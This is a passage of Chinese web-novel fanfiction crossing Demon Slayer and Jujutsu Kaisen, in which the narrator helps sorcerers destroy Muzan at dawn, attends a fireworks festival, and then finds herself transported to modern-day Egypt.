不过现在看来,那个之前遇见的被叫做“教主大人”的小孩是特地来找我的,而且才多久不见他怎么就拥有了能独自对抗鬼的力量呢?总不能他真是什么神明代言人吧。
很快我就意识到不是了。
这位教主大人应该只是放弃xie教去学咒术了。
因为我打开了恋雪转交给我的香囊,一打开,里面赫然又是一根干巴巴的手指。
不是,这种东西一定要给我吗?失去记忆时我还能把这个当做什么嘎嘣脆小零食,但是现在一看,这完全就是某种咒物吧,而且还要叫我吞下,那个缝合怪究竟什么心思。
而且,现在我这里又多了一根手指。总觉得很不妙啊,集齐手指的奖励应该不能召唤神龙实现愿望,只能引来两面宿傩吧。
经过这几天走街串巷偷鸡摸狗拜访咒术豪门,我靠听墙角也打听出了不少消息。至少被当做两面宿傩的受肉绝对不是什么好处境。
但是这两根手指怎么处理呢?听说很容易招惹咒灵啊。
我本打算将这些东西寄存到什么安全的地方,但是听说了这手指人间杀气总是吸引咒灵的传言还是放弃了,干脆放在了自己身边保管,毕竟,手指在我身边还暂时没出什么事。
不过在我把手指安顿好了之后,严胜和缘一还有珠世小姐就过来找我了。
珠世小姐漂亮的紫眸满意地打量着我在阳光下的身影。她温柔的笑容让我有回想起了药汁的苦涩,我不由讪讪地笑了笑,然后看向严胜和缘一。
“师傅,还进行的顺利吗?”严胜抬头看向我,面上满是认真。
我点了点头,又看向俩兄弟,“你们准备好了吗?”
俩个相似的脸上浮现出了同样的表情,他们点了点头,将手都按在了佩剑上。
*
鬼舞辻无惨站在昏暗的房间内,面沉如水,不知在想什么,他的身形在灯光下影影绰绰。
旁边跪坐着一个拿着
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琵琶的女人,女人的头发遮住了面庞,看不出她的表情。
房间里便是诡异的安静。
过了许久,安静才被打破。
有什么拖拽的声音从远处传来,鬼舞辻无惨抬眸,那个下女正托着一个人型的东西过来。
走近了,才能看出那是个深红色头发的孩子。
“无惨大人,我已经将您要的人送来了。”那个下女的表情淡淡的,但是动作却显得很谄媚。她将孩子放在一旁,对着鬼舞辻无惨恭敬地土下座。
孩子的身体触到地上,佩剑与地板相除发出一声异响,但是鬼舞辻无惨并不在意,这只是个人类罢了。
他的目光只是停留在这个下女的身上。
这个下女还是一副木愣愣的蠢样,但是鬼舞辻无惨却觉得有些微妙的不同。他说不出是那种感觉,视线仔细在她的面庞、身体徘徊,也顶多找到了一种长途跋涉、长期劳累的倦容。
故作姿态,鬼怎么会累呢?
鬼舞辻无惨心下嘲讽,又看向她带来的孩子。
那个孩子之前像是被迷昏了,现在才缓缓醒来,他警惕地打量着四周,见到鬼舞辻无惨和鸣女还有那个下女,显然吓了一跳。
他咬着牙,看向了那个下女,眼里情绪复杂。
“就是这个家伙吗?看起来也并不怎么样。”鬼舞辻无惨冷不丁开口,惊得那个孩子握紧了佩剑。
警惕性还行,知道谁是最强的。鬼舞辻无惨在心里做了判断,又打量着那个小孩。
他现在手下厉害的鬼并不多,下女算一个,民女算一个,其余都是一些杂鱼。
这都是那些人类原本就太过脆弱的问题,不仅是心志不坚定,而且□□也不行。鬼舞辻无惨摸了摸下巴,背后倏忽伸出触手袭向那个孩子。
小孩下意识出剑抵挡,只是佩剑还是被打掉了。
速度不错。鬼舞辻无惨点了点头,他看见下女松了口气的样子,嘴角勾了勾。
“你找的人还不错。”鬼舞辻无惨难得赞许,发觉下女一副有荣与焉的表情,更是好笑。
鬼舞辻无惨转头看向小孩,问道,“你渴望强大的力量吗?”
小孩看着无惨的行动,很是忌惮,并没有说什么。
鬼舞辻无惨上前一步,居高临下地看着小孩,血红的双眼里有满意的神色,“就算你不说,我也看的出来,小孩,你渴望着变强。”
那小孩的眼神有一瞬间的迷惘,但是又很快恢复了起来,猛地喘着气,眼神更是警惕。
“我很满意你,小孩,你的名字是?”
没等鬼舞辻无惨继续问下去,远处忽然传来一声破空声,鬼舞辻无惨眯了眯眼,迅速地闪开。
他原先站立的地方,一道深深的刀痕出现在那里。
究竟是什么?他仔细打量着四周,只看见下女和小孩错愕又警惕的表情。
鬼舞辻无惨将眼移至远方,他能感觉到那里有人,但是,那是谁呢?
39.我打无惨?
鬼舞辻无惨脸色微变,他的眼眸扫过了周遭的一切。
茫然的下女,看不出表情的鸣女,警惕的小孩,还有空气中若有若无的气味。
那似乎是咒灵的味道。虽然鬼舞辻无惨并没有咒力,也不会咒术,但是或许是天生死胎的缘故,成为鬼后他也能隐隐感知咒灵的存在。尤其是还被一群诅咒师缠上过。
“又是那群烦人的诅咒师吗?”鬼舞辻无惨咬了咬牙,他想起了之前那个阴魂不散的冰系诅咒师和脑袋有着缝合线的家伙。
只是来人并不是熟人。
伴随着疾风声,又有攻击破风而来。鬼舞辻无惨快速闪避,紧盯着突然出现的家伙。
他们不知从何处出现,就像是从某种缝隙中突然爬出的昆虫,一下子充斥着整个房间。
来着似乎互相都认识,他们将视线从对面收回,又移到了鬼舞辻无惨身上。
“两面宿傩,你这回逃不掉了。”一个像是领头的青年站了出来,他声音响亮,语气正义凛然,像是要吹响什么决战的号角。
鬼舞辻无惨一时间不知道该说什么,他有些想笑,打着两面宿傩的旗号做事根本没有给他带来什么好处。
纵使前期靠着他的名头震慑住了一些阴阳师、咒术师,但后面带给他的只有无尽的麻烦。
“你们是什么蠢货吗?我哪里像是两面宿傩的样子!”鬼舞辻无惨话语里是挡不住地嫌弃,他的身体骤然变大,肌肉膨胀,背后的触手数量加倍,有些触手裹挟着咒具,烦躁地拍打着地面。
轰隆的声音像是不安的鼓点,敲在每个人的心头。
对上鬼舞辻无惨狠厉的双眼,那个青年看了看周围的众多咒术师,不怕反笑。
他指了指鬼舞辻无惨的触手和那些从各大家族库房失窃的咒具,又看向那张苍白的面孔,啧啧叹了两声,“果然是受肉不行,诅咒之王连自己的身份都不敢承--”
一只巨手从鬼舞辻无惨体内伸出,迅雷不及掩耳之势向青年靠近。青年还没来得及做什么抵抗,巨手掌心突然出现了一张巨口,径直将青年吞下。
什么都来不及阻挡,什么都没有留下,咔哧咔哧的咀嚼声响彻在这里。
咒术师们像是被当头泼了冷水,跃跃欲试的表情收起,化为一种谜一样的沉寂。
鬼舞辻无惨的脸上流露出了称得上愉悦的表情,他的双眸越发地红,简直像是吸足了鲜血。那双巨手收回到了他身边,安静地呆着,但是谁都看到了他刚刚是如何吞噬掉一个优秀的咒术师的。
“味道很不错,多谢款待。”鬼舞辻无惨看着那些惨白的脸,点了点头。
这样震慑一番这些家伙就应该会像之前的诅咒师一样懂得知难而退了。即使难缠,但是每次只要当着他们的面吃掉几个,他们也会知难而退。
这些该死的爬虫,等他强大了,等他克服阳光了,他一定要杀光整个咒术届。
可是这么想着,鬼舞辻无惨却没等来预料中的撤退。
在那片沉寂中,又有咒灵的气味不断出现,那些咒术师像是恶心的虫子一般,一个又是一个接着出现。
密密麻麻地,即使是鬼舞辻无惨也忍不住心惊,他几乎泛起了恶心。
“真是该死的家伙。”鬼舞辻无惨骂完,便看向鸣女。
鸣女转化成鬼的时间并不长,但是她领悟出的技能确实很好用,使得他能及时得转移。他已经不想在与这些爬虫纠缠了,今天就先饶过他们。
抱着琵琶的女人接收到指令,拨动了弦,弦音浑厚,但是并没有什么用。
“你在做什么!鸣女!”鬼舞辻无惨的声音充满怒气,鸣女忙继续拨弦,琵琶音变得细密、急躁,但是毫无作用。
“这究竟是这回事!”我听见鬼舞辻无惨暴怒出声,咒术师们并没有再欣赏这个琵琶独奏,他们上前,渐渐将我们包裹。
鬼舞辻无惨暴怒地开始攻击咒术师了,他在脑中指挥着我快点攻击,找到那个封锁空间的家伙。
我不动声色地挡住了继国缘一,掏出之前鬼舞辻无惨给的咒具,假模假样打了起来。
没想到咒术师这边确实神通广大,我只是在信中提了一嘴有鬼会空间转移,他们竟然真的能找到应对的办法。
我避开鬼舞辻无惨的视线,看向缘一,等着我的答案。我希望缘一能通过他眼中的通透世界来观察鬼舞辻无惨,不说直接找到他的弱点,至少能看出他的心脏在左边还在右边。
否则最后补刀失败那就真是前功尽弃了。
可是缘一的脸色出乎意料地难看,“五颗脑袋七颗心脏。”
我一时没反应过来,只觉有些窒息。
我看向在与众咒术师搏斗的鬼舞辻无惨,不由得沉默了片刻。他的身上偶尔出现些伤口,但几乎是瞬间就恢复了过来。
虽然不懂的咒术,但是凭借着有咒力注入的咒具,似乎对于咒灵也有很好的攻击力。
那看来还得再拖一会,我对着缘一耳语几句,便趁乱让他出去了。
*
鬼舞辻无惨处于混战中心,他攻击的速度极快,触手的力道之大可以直接将来不及躲避的咒术师拦腰斩断。
但是,太多了,太烦了!
鬼舞辻无惨几乎要忘记过了多久。
纵使有良好的恢复能力鬼舞辻无惨还是不可避免地感到了疲惫,虽然这些咒术师的实力不过如此,他有把握血洗全场。
但是无法传送离开还是给他带来了一丝不好的预感。
“蠢货,还没找到吗!”鬼舞辻无惨看向咒术师中不断闪躲的下女,生气得将触手挥舞地更猛烈,异形巨手伸出,随手吞噬了一个没来得及防备的咒术师。
那个下女诺诺应声,速度移动得更加快了,几乎只能看到残影。
可是还没等她找出个什么结果,砰的一声,似乎什么东西塌了。
有流动的风吹过,将一地的腥气送向远方。
鬼辻舞无惨呲目欲裂地看着破碎的房梁,屋顶不知被什么东西完全掀起,露出了外面几乎要完全亮起的天!
鬼舞辻无惨心中不祥的预感化为现实。
他根本顾不上身后的攻击,埋头就跑。
此时也等不及要什么传送了,快离开阳光。
一看攻势逆转,被暴打一晚的咒术师登时振奋精神,迎头赶上,拖得鬼舞辻无惨想要逃脱而不能。
天已破晓,初升的阳光洒在整片大地上,鬼舞辻无惨已经感到一种深入骨髓的恐惧。
快离开!他感到自己的皮肤已经开始泛疼,恢复的速度渐渐变慢。
那群咒术师像是吸血的蚂蟥,见他满身血痕简直要高兴地欢呼出声,攻击越发狠毒,像是把掏家底的咒术都拿出来了。
蠢货,都是蠢货。疼痛反而激起了鬼舞辻无惨的暴虐,他也猛烈地回
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击,一面努力逃跑。
鸣女已经在阳光下化为粉尘了,而那个下女还在四处逃窜着。
鬼舞辻无惨咬牙,在脑中疾呼下女。那下女灵活地穿过一片攻击,立马赶到他身边。
“冒犯了,无惨大人。”她将外袍直接披在他的身上,直接拦腰抱起鬼舞辻无惨就跑。
背后的攻击依旧不断,下女的速度虽然很快,但是也不能完全躲过。鬼舞辻无惨的手脚依旧被攻击所伤,他只能用尽全力恢复。
外袍遮蔽着阳光让鬼舞辻无惨好受了一些,他都暂时能不计较这家伙无礼的举动。外袍带着一种奇异的香气,让他的脑袋都有些昏沉。
“我会分给你更多的血液的,看在你这次表现的份上。”鬼舞辻无惨在这香气中,思绪浮沉。
他想,这个下女还算是不错的下属。他想,她确实忠诚,他无需担心他会变得太强。
毕竟就连面对阳光她都能率先来救他。
等等!一道惊雷立马划过鬼舞辻无惨的脑海。
奔跑了这么久,为什么这个下女还没被阳光所侵蚀?
鬼舞辻无惨的身体僵硬了一瞬,他立马听见了下女不解的声音。
“无惨大人?”她说着,却径直掀开了外袍,将他全部暴露在阳光下。那把他赐给她的咒具柴刀此时沾着不明的紫色药液,猛地向鬼舞辻无惨捅去。
这个距离鬼舞辻无惨根本无法躲避,他被猛地击了好几刀,几乎要将身体捅烂。
“你怎么敢背叛我!”鬼舞辻无惨感觉伤口不断地流血,引以为傲的治愈能力此时仿佛称为笑谈,纵使他奋力止血,也仅能护住重点器官罢了。
我并不理会鬼舞辻无惨的狗叫。托咒术师们的福,鬼舞辻无惨受了不少伤,消耗了不少能量。
我拜托缘一到外面与严胜一起,劝说咒术师们快到天亮再掀开房屋。
再加上珠世医师的药,鬼舞辻无惨的恢复能力已经大大下降了。
这就很好。
我一把拽下了鬼舞辻无惨背后的触手,将其高高抛向空中,一大把咒具掉落下来。
今天天气不错,无云。破晓的阳光照射在无惨的身上,让他发出扭曲的声音。
咒术师们只以为是鬼内斗,愣了一下便又着重攻击他们眼中的两面宿傩。
他已经很虚弱了。
他这样睚眦必报的家伙甚至不能抽身回去杀死那个叛徒,他只能疲于奔命地在阳光下抵抗这咒术师的攻击。
鬼舞辻无惨最后看了一眼下女。
下女的眼神平静而没有波澜,好像是太阳注定升起,四季必然要轮回。
恍惚间,他竟然想起在产屋敷宅邸的日子。无论是半夜捉虫还是捧着笨重的花瓶,她似乎只有这种眼神。
凭什么?
鬼舞辻无惨再也无法治愈身上的伤口了,他不甘地发出了尖利的惨叫,最后又往我这冲了几步,但是在半路化为灰烬。
我某种纠缠在血液中的东西仿佛也发出哀鸣,响应着本体的死亡。
就在这阳光下,我只感觉浑身轻松。
看起来古板但是客气的小女孩,善良的医师,哭泣的老夫妇,森林里破碎的躯体……
一切的一切,在今天,是否可以得到解脱了呢?
我没有理会身后的咒术师,只是开始用尽全力闪身离开。
今天的阳光,真是明媚啊。
40.焰火大会
从鬼舞辻无惨那里离职给我带来了什么。
--快乐,还是快乐。
这个鬼就当到这里了!
不会再有鬼莫名其妙能在我脑子里说话,发布一些莫名其妙的命令;不用躲着太阳出行,白天立志将自己裹成木乃伊。
随着鬼的始祖消失,各地妖物吃人的事件发生频率大大降低;打着“两面宿傩”名号的鬼舞辻无惨虽然没有在死后化为咒物,或者成功爆出几枚宿傩手指,但是因着一种“就连诅咒之王都被咒术师打败了我们咒灵吃枣药丸”的氛围下,咒灵伤人的事件也少了。
一时间,各家咒术师们出尽了风头。其中以菅原家最甚。从被找入宫的频率看,应当是深得圣宠。
菅原家找了个家主过寿的理由,决定放焰火来庆祝一番。
不过这些都与我无关啦。
“那个,狛治哥哥,今晚我们能一起去看......看烟火吗?”我趴在树上,饶有兴致地看着素流道场。
与鬼舞辻无惨决战时,严胜和缘一在外围竟然也意外遭到了一些被无惨召集过来的鬼的袭击,两人受了一点小伤,便在素流道场这靠珠世医师治疗了一下。
头带雪花银簪的少女怯生生地看着对面健壮的少年,脸颊绯红一片,连说话都磕巴了起来。
黑发蓝眼的少年似乎并没有意识到这是什么意思,他诧异地将手轻柔地放到少女的额头上,语气里颇有些不解,“当然可以,只是恋雪,你是不是身体有些不舒服,你的脸好红啊?”
他将手从少女的额头上移开,又摸了摸自己的额头,“你的额头好像有点烫,果然是发烧了吗?要不就在家里休息一下呢?”
少女张了张嘴,呐呐无言几声,忽然像是想到什么,猛地摇了摇头,“不行!狛治哥哥我很好,我的身体没问题,晚上我们就在道场门口见面吧。”
恋雪说着,红着脸,小跑到了内室。
梅正在那里等着她。但是那也不是刻意等人的姿态。
梅正在摆弄着诸多首饰和衣料,听到恋雪气喘吁吁的声音,她耳朵微动,动作停了一瞬,然后又装作毫不在意地继续忙活了起来。
“唔,这件衣服就应该这么搭配,这样看起来会更贵气一些......这件素色的果然还是要搭配......”梅喃喃自语着,只是她的眼角总是不经意要扫向恋雪的方向,然后再快速地收回。
最近她可是很忙的。
烟火给了贵族小姐们出门的理由,一直被压抑的夜晚社交需求直接释放。可是晚上出行也是需要考虑搭配的,夜晚的光线与白天不同,既然好久都没在夜间出门了,那当然要打扮得最好。
而最近深得贵族小姐们信赖的梅就近期就已经多次上门为她们进行搭配参考,这几日她赚得钱已远远超过了妓夫太郎在花街时一月的收入,回来时就捧着赏金绕着素流道场转了许多圈,直到每个人都知道她的收入并目瞪口呆,她才满意地回到了房间。
梅赚这么多钱并不无道理,因为没有哪个人能拒绝梅的赞许。
那张一直高傲的脸上微微露出赞许的神色,上挑的眼收回了轻视,目光锁定着焕然一新的你,然后殷红的嘴中吐出一声“不错”。这足够叫人酥了魂。
而现在,这双高傲的漂亮的眼睛一直不经意扫过恋雪,直到她平复呼吸,红着脸靠近自己她才收回视线,仿佛毫不在乎。
“梅,我成功了!”恋雪避开了摆在梅面前的衣料,悄悄绕到了梅的身前,通红的小脸上充满着喜悦,她眨巴着眼,直勾勾看着梅。
梅点了点头,又继续拨弄着那堆衣服,“我知道了。”
恋雪却像没意识到梅的冷淡一样,又继续向她贴近,“所以我想拜托梅帮我搭配一下衣服,因为梅你是我见过最美的人,所以我也希望......”恋雪说着,脸上的热度是消不掉了,她摸了摸自己滚烫的脸,又看着梅逐渐勾起来的嘴角。
“就连这样的事都离不开我,”梅的嘴角不受控制地勾起,她从那堆衣服中抬头,这回终于仔仔细细地打量着恋雪,看她通红的脸,看她低落的汗,看她眼里难以抑制地喜悦。
“我会让你今天漂亮点的。”梅最终敲下了定论,“不过你要在哪里跟他表白,我今晚也是要和哥哥出去玩的,那时候记得别在我身边,否则你就白打扮了。”
梅撇了撇嘴,无所谓地看着恋雪惊呼“不....并不是....其实也是....但是”,她低下头假装继续摆弄衣服,只是自己的笑根本收不住。
并不是我想刻意偷听的,都怪被强化的身体。
我摇了摇头,舒服地躺在树上,感受着微风的抚摸。
“兄长,我不明白。”那是缘一的声音。
我又重新睁开眼,看向了另一边。
旁边的剑道场被玉壶几近团灭后,剑道场主心力憔悴,再加上得知自己的独子死前甚至还想给素流道场下毒,剑道场主更是难言羞愧,要隐姓埋名奔走乡下。
素流道场因着之前有徒弟(妓夫太郎)杀鬼之英资,更是吸引了众多少年来学艺。庆藏干脆买下了剑道场的地,将其打通合并成素流道场plus。
虽然妓夫太郎对于庆藏高价收购剑道场的土地颇有微词,但是再被那些新来的少年叫作杀鬼师兄后他又没有话说了。第二天,他就参与了素流道场的训练,凭借着格斗技巧和一些小众的方法将一群少年横扫,都嚎叫着爬起来要向杀鬼师兄学习拿沙糊人眼睛的高妙技巧。
不过缘一和严胜现在在另一边干什么?
我微微抬起身子,仔细打量着继国兄弟俩。
缘一正跪坐在榻榻米上,看着严胜有些焦躁地走来走去。
缘一的眼神是纯然的茫然,他微微抬了抬头看看兄长,想说什么但是又闭上了嘴巴。
“你和歌.......”继国严胜停下了乱晃的脚步,开了头,却又不好再说下去。
缘一抬头,缘一对视严胜,缘一还是不解。
“兄长,你究竟是什么意思呢?”即使是拥有通透世界的天才也很难看出自家兄长内心的想法。
“你之前不是和我说你喜欢那个叫作歌的女孩吗?”严胜咬了咬牙,终于说出这句话。
缘一愣了一下,脸变得有些红,但是还是认真地缓缓点了点头,“我很喜欢她,和歌在一起我就会非常开心,我希望能和她一辈子呆着”。
“那既然喜欢,你肯定要娶她,可是你怎么能什么都不做准备呢?”严胜的眉头紧皱,看着茫然的
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缘一,开始絮絮叨叨说起嫁娶事宜等等。
末了,严胜才像不经意地加一句,“如果有空的话,回家看看吧。”
说完这句话,继国严胜才觉得某种阴湿的、长久缠绕着自己的东西从体内剥离出来,然后直接碎裂。
他没有理会缘一的怔愣,只是说着“我要叫师傅吃饭了”,就转头离开,就好像这样的果敢转身能遮掩许多不甘的情绪。
他还是想成为这个国家最强的武士,他还是羡慕着缘一的才能--无论是剑术,还是能察觉他人痛苦的能力。
可是即使这些东西存在,难道就能影响他变强的心了吗?真正的强者不会畏惧这些。
他也不再担心自己一旦被超越就会跌入谷底,他相信自己的才能,既然自己被师傅认可了,那么自己一定就不会比任何人差。
只不过继国缘一这家伙,不会只有剑术上才开窍了吧。
继国严胜回想着缘一和歌相处的片段,思考着像是入赘了少女家的缘一,回忆着缘一眼中明显的依恋和对面那个只是笑得很开怀的少女,陷入了深深的沉思,他的弟弟,这么傻,不会以后会被抛夫弃子吧。
继国严胜的担忧,一如童年时第一次看到自己的弟弟在那小小房间茫然的眼神一样,如此纯粹。
我在树上叹了口气,看着这毅然决然出门找我和还在茫然的缘一,挠了挠头。
总感觉,离我需要给大家出份子钱的时候也不会远了。
正苦恼着,我就闻到了空气中若有若无的香气--要开饭了。
没等继国严胜找到树下,我就一跃身,又回到了地面。
“开饭了,去吃饭吧。”我深深嗅了一口空气中食物的香气,跑去拽着严胜和缘一就直奔吃饭的地方。
吃饭就是需要速度,毕竟,现在这个道场的吃饭的嘴可不少呢!
*
我的预料并没有出错,在我火速解决完饭食后,乌泱泱的饿着的少年们便饿虎扑食风卷残云地解决了剩下的饭食。
今天的日子不错,恰逢焰火大会,有着心上人的少年们都开窍着约着人出门赏焰火。就算心上人不在身旁,跟着亲友出去转转赏着美丽焰火倒也不是为一项有趣的活动。
我到处乱晃,爬到了全城最高的建筑上,独赏美景。
此时的焰火并没有后世的绚烂,但是在没什么光污染的时代,漆黑的夜空像是画布铺陈着那明亮短暂的火焰,却也是让人赏心悦目。
真是好啊。
这里似乎是贵族的住所,下面传来觥筹交错的声音。我听着奢靡的乐声,又想起了白日所见。
如果交份子钱了话,我是不是还得考虑再攒点钱养老,那这样是不是还得打工呢,找谁当雇主呢?也不知道自己能活多少岁呢......
打工,雇主。我总觉得自己忘记了什么,但是一时想不起来。
但是,不管怎样.....
我看着又一颗在天上炸开的焰火,忍不住闭上眼睛真心祈愿,“下一份工作一定要好点啊。”
炸开的焰火声似乎盖过了什么声音,我侧耳细听,却无所察觉。
等我睁开眼时,我忍不住倒吸一口气。
“不是吧,老天,你玩我吗?”
41.第二次穿越
命运似乎很喜欢跟我开玩笑。
总觉得眼前这一幕似曾相识。
我深深吸了一口气,又缓缓呼出,试图让自己平静下来。
没事哒,没事哒......没事才怪吧!
不管怎么说,穿越开局就是沙漠也太过分了吧。
无需怀疑,我又穿越了。
我站在不知名建筑的高处,头顶的太阳无情地炽烤着我,让我忍不住用手给自己扇了扇风--好热,还好我现在不是鬼,不然开局就再起不能了。
毕竟,现在可找不到什么阴影。
被强光刺激,我将手挡在前额,眯着眼。眼前是广袤的沙漠,延绵不断的沙丘铺陈在天地间,明亮的阳光洒在砂砾上,汇聚成金色的海洋。
啊,金色海洋。
我如梦初醒,猛地掏了掏自己的衣袖,检查自己随身携带的东西--一些饴糖、几个散钱,一小块金疙瘩就别无它物。
可恶!我之前见义勇为所得的一莲花宝座的财宝!都没了!
我感觉自己特别想哭,但是总觉得一哭泪水就会直接蒸发,在这沙漠里显得太过奢侈。
我本身只是为在出门溜达,手头除了一些小东西其他根本什么也没有,更别说我辛苦攒的钱了!
我感觉自己心痛万分,简直快要不能呼吸了!
不过,应该还有点什么。
我掀开衣服,掏出了一直绑在腿上的精致香囊。
指尖一触摸到香囊我就忍不住皱起了眉头,里面空空如也--这里本该装着两根两面宿傩的手指的!
检查了袋子的底部,嗯,没有破洞;往里面扔点散钱,没有直接不翼而飞,看来是没有什么异空间。而我能确定没有人曾经掀开过我的衣服来偷取宿傩手指。
那么两面宿傩的手指究竟去了哪儿了?这难道会是我穿越的原因吗?
我暂时无法得出答案。
两面宿傩的手指毕竟非同小可,作为咒物在咒术师口中它能吸引不祥的东西。虽然在我身边时倒是没发生什么,我也从来没放松警惕过。
不过毕竟现在线索不足,我也只能压下心中的疑惑,关心起目前最关键的问题。
现在的问题是,我这到底来了哪?
我的脚下是一堆磨光的石灰石,看起来排列得很是整齐。站在高处,转一个方向,甚至能看到几坨三角锥形的建筑和一个像是一尊动物般的石像。这些建筑旁还有小如蚂蚁般的人穿着短袖,背着背包,带着墨镜,举着相机不停地拍着什么。
难道我回到原本的时代了?我有些欣喜,但看着这群人如同游客的姿态,又压住了喜悦,某种不妙的猜想来到心头。
咦,难道是景点吗?
我愣住了,抬了抬脚,低头看着脚下的光洁的石板。
话说回来,沙漠里光洁的石块形成的高大建筑,难不成是......
忽然感到某种被窥伺的感觉,我凝眸向远处看去,有人的相机正朝这边过来,他已经要按下快门了。
不妙!
我从建筑的背面一步跳下,避免自己成为破坏世界物质文化遗产的罪人--还是先跑为敬!
远处的杰夫看着自己的镜头,高兴振臂,“我就说埃及金字塔这里肯定有法老的幽灵,我都已经拍下来了!”
同一个旅行团的众人显然受够了这位法老幽灵论者,听到这话依旧是该干嘛干嘛。
杰夫并不气馁,他转头向着接待旅行团的男人问道,“你相信我,我真的拍到了!那个幽灵就站在胡夫金字塔的顶端!”
同一个旅行团的欧因哥在墨镜下翻了个白眼,随意瞄了一眼被顶到自己眼前的画面--除了金字塔明明是什么都没有吗?
欧因哥摊了摊手,撇了一眼杰夫,然后向着旅行团内的女士无奈地耸了耸肩,“小哥,你是不是热昏眼花了,把什么鸟看作幽灵了吧,我们这里可没有什么法老的幽灵哦。”
欧因哥并不打算理会这个聒噪的外国人的天马行空,谁家幽灵能在大白天出现。
他听着杰夫惊讶地大喊“nonono”然后不住地辩解,忍不住心想,这个外国人真是疯了,要不待会干脆打晕他抢了他的东西算了,那个相机应该很贵吧。
欧因哥感觉自己的笑容难得真诚了些,“小哥,走吧,我带你去后面买点水吧。”然后就把你的钱全部抢光光。他搂着失意的杰夫往着一处走去,眼角余光却瞥见了一个身穿和服的奇怪女人。
大概是别的旅行团来的外国人吧。欧因哥没有细想,继续强硬地搂着杰夫离开。
我停下了脚步,装作在阴影处休息的样子,直到两个男人离开。旅行团的女士们不在乎地继续嬉笑着,没有人注意杰夫提到的幽灵。
太好了,没人发现。
我忍不住舒一口气,内心赞叹自己反应及时。
要是被人留下了罪证,我现在可没有钱能交罚金呢。
为自己的囊中羞涩叹了口气,我开始思考着新的问题--不是啊,如果这真的是我想的埃及了话,怎么所有人都在说霓虹语啊?
*
不过没时间为这点纠结了,霓虹语至少是我掌握的一门语言,埃及话了话我只会“你好”。
放弃了思考显然给我带来了不少好处,我麻木地用霓虹语与当地人交谈,确定了这里是埃及开罗;然后麻木地用霓虹语讨价还价,典当了一部分金疙瘩;麻木地用霓虹语向当地人买了现代服饰......
当我小心翼翼收好了织子阿姨给我做的和服时,我躺在开罗的某间民宅的屋顶上,望着群星璀璨的夜空,将思绪放空。
别再想思考为什么全世界都在说霓虹话了,总感觉吐槽这点好像就输了。就先在外面将就一晚吧,毕竟手上的钱也不多了,而且附近好像没什么人招工啊。
不知道歌和缘一严胜他们怎么样了,我一莲花宝座的财宝还被我埋在某棵树底下呢,要是早知道穿越了把这个藏宝点告诉歌了。我房间里还攒着不少虫笼呢,趁着价钱好的时候谁能帮我卖掉它们呢?
睡前似乎很容易被某种情绪感染,我想着认识的人们,一时心里有些低落。还没来得及告别,不知道大家会不会被吓到。还没去看看恋雪告白成功了吗,妓夫太郎和梅未来打算怎么发展,还没看见小萝卜头们的成长,也没有再去感谢织子阿姨。
我觉得心里酸酸的,只能苦中作乐安慰自己,好歹打倒了鬼舞辻无惨,否则放任那个祸害的存在,我恐怕永远都无法安下心来。
不过想起鬼舞辻无惨,我终于发觉自己忘记了什么--那个奇怪的血鬼术。
血鬼术--你是否还在困扰于垃圾工作,你是否深感被工作、垃圾上司害惨了。一旦你将雇佣你的人**,你将继承ta的**<
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p>虽然这好像填字猜谜的游戏让我摸不着头脑,但是我能确定的是这个血鬼术确实存在。
只不过,血鬼术是否生效了呢?
虽然不知道**这个血鬼术生效的前置条件是什么,但是如果是蛐蛐、背刺甚至是【杀死】我都做到了,但是我却还没感觉到自己得到了什么。
而且继承了话,意思是雇主得死去吧。那么,鬼舞辻无惨已死,我有得到什么吗?
我举着双手,对着夜空,试图从中找到什么,但夜空并没有给我启示,星星依旧一闪一闪亮晶晶。
我得不到答案,还没来得及黯然神伤,却突然感觉有种被窥视的感觉。我寒毛直起,不由警惕起来,在这屋顶上观察着四周--不是吧,难道连屋顶都要拍?
只是这种感觉仅仅一瞬,后续便难以捕捉。
是错觉吗?
我看着自己手臂上竖起的汗毛,还是不敢放松--那感觉比起毒蛇爬上,更像是脖颈处已经被无形的绳索捆住,直叫人忍不住挣扎。
可是纵使我努力探查,却一无所获。
总不能真有法老鬼魂来索命吧?
远处的巷子传来了声音,我被打断了思考,凝眸往那看去。
一群喝醉酒的男人在那里晃悠,手上甩着酒瓶,嘴里说着什么。
如果只是醉汉打架我并不在意,但是其中一个醉汉似乎拉住了过路的女人,充满酒臭的嘴说着些不干净的话。
过路的女人皱着眉,使劲挣扎却依旧拉不开被拽住的手。其他的醉汉也凑了过去,嬉嬉笑笑的,没人阻止他的举动。
啧。
我翻身下屋,用着比正常人稍快一些的速度在巷中穿梭。
巷子弯弯绕绕的,我赶过去花了一些时间。
那个醉汉的言语纠缠都要化为暴力行动了,他将酒瓶往地上一摔,涨红的脸就像是卤猪头一样,喷着浓郁的气味。
“不好意思,这是我朋友。”我没理会醉汉的眼神,直接走到女人身边,维持着一丝虚假的微笑,使着力,敲上了男人的手肘,将男子的纠缠的手移开。
那张猪脸立马由红转青,他瞪大了双眼,那只手不受控制地颤抖。
“你是哪来的臭娘们?”他说话时还喷出唾沫星子,愤怒的表情和醉意显然让他忽略了很多不和常理的东西,他甚至觉得自己是自愿将手移开的。
“好没礼貌啊。”醉汉看着那个不知何时赶来的女人微微皱起了眉头,本来挂着微笑的脸骤然露出嫌弃的表情。
醉汉还想说点什么,然而,还没来得及做什么,他就感觉身体一阵剧痛,然后眼前一黑,再也听不见什么了。
莱拉看着巷子里倒了一片的醉汉,又看着面色平静的黑发女人,忍不住张大了嘴。
“现在没事了,美丽的小姐,我有这个荣幸能护送你回家吗?”那个黑发女人向其递出了手。就是这个手刚刚直接掀翻了所有人。
莱拉小心翼翼将手放在上面,轻轻呀了一声,带着她一起走进巷子,“感谢你的帮助,这位女士,我该怎么称呼你呢?”
黑发女人的沉默了片刻,她的目光维移,看向某处又极快地收了回来,简直就像是莱拉的错觉。
许久,在黑暗中,莱拉才听见了黑发女人的回答。
“月彦,叫我月彦吧。”女人的声音淡淡的,但是莱拉却觉得她好像在笑。
42.来兼职吧
莱拉有些后悔之前自己的多嘴,当她问完黑发女人也就是月彦小姐的姓名后,她顺口问了一下月彦小姐家在何方,回家是否方便。
月彦小姐没有回答,脸上浮现出几丝窘迫和苦涩,她只是说:“没有关系”。
莱拉瞬间就猜到了什么,看着月彦小姐特征明显的东方面孔和不合身的衣服,她的心中忍不住泛起怜惜之情。
“月彦小姐,如果可以了话,你今天就住在我家吧。”莱拉站在家门口,看着在一边等待的黑发女人。
被叫做“月彦小姐”的黑发女人的眉毛微微蹙起,下面的那双黑瞳如夜色般深沉,透着一种莫名的伤感。听了莱拉的话,她的眉头舒展了一瞬,但很快又继续蹙起,“这样贸然打扰你不太好吧?”
